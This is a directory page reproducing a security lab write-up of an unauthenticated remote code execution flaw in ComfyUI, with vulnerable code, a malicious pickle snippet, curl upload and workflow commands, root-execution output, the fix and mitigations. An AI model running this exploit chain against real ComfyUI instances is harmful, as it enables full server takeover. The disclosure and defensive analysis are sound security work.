Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
comfyui-CVE-2026-68771-PoC — Laboratorio di ricerca sulla sicurezza — RCE non autenticato tramite deserializzazione insicura in ComfyUI v0.23.0 (CVSS 9.8). Ambiente Docker isolato, analisi tecnica e documentazione. | Kitploit
Strumenti/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dell'IA
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Laboratorio di ricerca sulla sicurezza — RCE non autenticato tramite deserializzazione insicura in ComfyUI v0.23.0 (CVSS 9.8). Ambiente Docker isolato, analisi tecnica e documentazione.

Vedi Repository
9h 26m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-68771 — ComfyUI: RCE non autenticato tramite deserializzazione non sicura

Solo a scopo didattico. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta esplicita per i test.


Informazioni su ComfyUI

ComfyUI è un'interfaccia grafica open-source basata su nodi per l'esecuzione locale di modelli di generazione di immagini e video tramite AI. Consente agli utenti di costruire pipeline di generazione complesse collegando visivamente i nodi — ogni nodo rappresenta un'operazione come il caricamento di un modello, la codifica di prompt testuali, il campionamento o la post-elaborazione delle immagini. La sua flessibilità e il supporto per un'ampia gamma di modelli (Stable Diffusion, Flux, HunyuanVideo e altri) lo hanno reso uno degli strumenti più ampiamente adottati nella comunità di generazione AI.

L'applicazione espone un'API HTTP locale sulla porta 8188, attraverso la quale il frontend comunica con il backend per caricare asset e accodare workflow di generazione. Sebbene sia progettata per l'uso locale da parte di un singolo utente, è comune trovare istanze di ComfyUI esposte su reti interne o direttamente su Internet — in ambienti cloud con GPU, configurazioni di ricerca condivise o studi creativi self-hosted — spesso senza alcun livello di autenticazione aggiuntivo, corrispondendo esattamente al modello di minaccia preso di mira da questa vulnerabilità.

Al momento della divulgazione, ComfyUI aveva oltre 65.000 stelle su GitHub e un ecosistema attivo di nodi personalizzati ed estensioni, molti dei quali introducono ulteriore superficie di attacco oltre all'applicazione principale.


Sintesi esecutiva

CVE-2026-68771 è una vulnerabilità di deserializzazione non sicura (CWE-502) in ComfyUI v0.23.0 che consente a un attaccante remoto non autenticato di eseguire codice arbitrario sul server. La catena di attacco combina due endpoint non autenticati: POST /upload/image per caricare un file pickle malevolo, e POST /prompt per attivarne la deserializzazione attraverso il nodo LoadTrainingDataset.

CampoValore
CVECVE-2026-68771
CVSS 3.19.8 (Critico)
VettoreAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserializzazione di dati non attendibili)
Versione vulnerabileComfyUI v0.23.0 (e precedenti senza la correzione)
Versione correttaCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
Pubblicato31 luglio 2026

Ambiente di laboratorio

  • Piattaforma: Docker (host Kali Linux)
  • Immagine base: python:3.11-slim
  • Versione ComfyUI: v0.23.0 (checkout git esatto)
  • PyTorch: 2.5.1+cpu (versione precedente al cambio del default di weights_only)
  • Isolamento di rete: Porta pubblicata solo su 127.0.0.1:8188, nessun accesso di rete esterno
  • Privilegi del processo: uid=0 (root)

Analisi tecnica

1. Autenticazione mancante sugli endpoint API

POST /upload/image — server.py, righe 450-453:

root@kitploit:~
@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, righe 927-928:

root@kitploit:~
@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Nessuno dei due endpoint implementa alcun controllo di accesso. Qualsiasi client HTTP può caricare file e accodare workflow senza autenticazione.


2. La chiamata vulnerabile — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, riga 1568:

root@kitploit:~
@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() senza weights_only=True utilizza il protocollo pickle di Python per deserializzare il file. Pickle non è un formato dati — è un protocollo di serializzazione di oggetti Python che esegue il metodo __reduce__ di qualsiasi oggetto durante la deserializzazione, consentendo l'esecuzione di codice arbitrario.

Il nodo si affidava al default storico di PyTorch (weights_only=False), rendendolo l'unica chiamata torch.load nell'intero codebase priva del parametro esplicito. Il resto del codebase (comfy/utils.py, comfy/sd1_clip.py) lo passava già correttamente.


3. Flusso di attacco completo

root@kitploit:~
Attaccante (non autenticato)

[0] CREAZIONE DEL PICKLE MALEVOLO
    └─ Serializza un oggetto Python con __reduce__ che restituisce (os.system, ("cmd",))
    └─ Il formato torch.save() di PyTorch lo avvolge in un contenitore .pkl valido
    └─ Output: shard_0000.pkl — pattern di nome file valido atteso da LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Carica shard_0000.pkl (pickle con __reduce__ malevolo)
    └─ Parametri: type=output, subfolder=cve_test
    └─ Risposta: 200 OK {"name":"shard_0000.pkl", ...}
    └─ Il file finisce in: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ Workflow JSON con il nodo LoadTrainingDataset
    └─ folder_name: "cve_test" → punta alla cartella contenente il .pkl caricato
    └─ Risposta: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Individua shard_0000.pkl nella directory
    └─ torch.load(f) → deserializza il pickle
    └─ __reduce__ esegue: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE come root
    └─ uid=0(root) gid=0(root) groups=0(root)

Evidenze di proof of concept (laboratorio)

Creazione del pickle malevolo

Il payload sfrutta il protocollo reduce di pickle di Python. Quando torch.load() deserializza il file, Python istanzia l'oggetto chiamando il callable restituito da reduce, eseguendo il comando controllato dall'attaccante prima che venga eseguita qualsiasi logica dell'applicazione.

Il nome del file deve corrispondere al pattern shard_*.pkl — hardcoded in LoadTrainingDataset.execute() come filtro di scoperta dei file:

root@kitploit:~
shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

root@kitploit:~
class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
root@kitploit:~
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Output:

root@kitploit:~
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vettore 1 — Caricamento file non autenticato

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Risposta:

root@kitploit:~
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 senza token, senza sessione, senza header speciali.


Vettore 2 — Esecuzione workflow non autenticata

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

Risposta:

root@kitploit:~
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

Risultato — RCE confermato

root@kitploit:~
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

La correzione — Diff del commit 94ee49b

File: comfy_extras/nodes_dataset.py
Autore: Matt Miller
Data: 18 giugno 2026
PR: #14543

root@kitploit:~
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)

Un singolo parametro. weights_only=True istruisce PyTorch a utilizzare un deserializzatore limitato che accetta solo tensori e tipi primitivi Python, rifiutando qualsiasi oggetto arbitrario con __reduce__.

Il messaggio del commit lo riassume chiaramente:

"LoadTrainingDataset era l'unica chiamata torch.load nel codebase senza weights_only=True; comfy/utils.py e comfy/sd1_clip.py lo passano già. Le versioni recenti di PyTorch impostano weights_only=True come default, quindi questa è una difesa in profondità per le installazioni bloccate su PyTorch più vecchie."

Nota sulla versione di PyTorch: A partire da PyTorch 2.6, il valore predefinito di weights_only è cambiato da False a True, il che mitiga la vulnerabilità sulle installazioni PyTorch moderne anche senza la correzione del codice. La CVE colpisce in particolare le installazioni che eseguono PyTorch < 2.6, che era l'ambiente di produzione tipico al momento della pubblicazione nel luglio 2026.


Mitigazioni e raccomandazioni

Correzione immediata

Aggiornare ComfyUI al commit 94ee49b o successivo. Una riga di codice.

Difesa in profondità

1. Autenticazione sugli endpoint API
ComfyUI è progettato per l'uso locale. Se esposto su una rete, deve essere protetto con un reverse proxy (nginx/Caddy) con autenticazione di base, oppure utilizzando il flag --multi-user con una corretta gestione delle sessioni.

2. Non esporre mai ComfyUI direttamente su Internet
Il design dell'applicazione presuppone un ambiente locale fidato. Il punteggio CVSS 9.8 riflette la completa assenza di controlli di accesso a livello applicativo.

3. Validazione del tipo di file in upload
L'endpoint /upload/image accetta qualsiasi estensione di file, incluso .pkl. Dovrebbe validare content-type ed estensione rispetto a una whitelist di formati immagine effettivi.


Punti chiave

  • Parametro di sicurezza mancante: Il bug non era un complesso difetto algoritmico — era l'assenza di un singolo parametro in una chiamata di libreria. L'incoerenza all'interno dello stesso codebase (altre chiamate torch.load lo avevano già) suggerisce che questo nodo sia stato aggiunto senza una revisione di sicurezza.
  • Fiducia implicita nei default delle librerie: Affidarsi al comportamento predefinito di una libreria è fragile. PyTorch ha impiegato anni per cambiare il default di weights_only; il codice vulnerabile è esistito per tutto quel periodo.
  • Superficie di attacco composta: Nessuno dei due problemi da solo (autenticazione mancante + deserializzazione non sicura) avrebbe ottenuto un punteggio CVSS 9.8 in un tipico contesto di uso locale. È la combinazione di entrambi che rende la vulnerabilità critica quando l'istanza è esposta su una rete.

Analisi condotta in un ambiente isolato a scopo didattico. Laboratorio distrutto dopo la documentazione.

Scarica lo strumento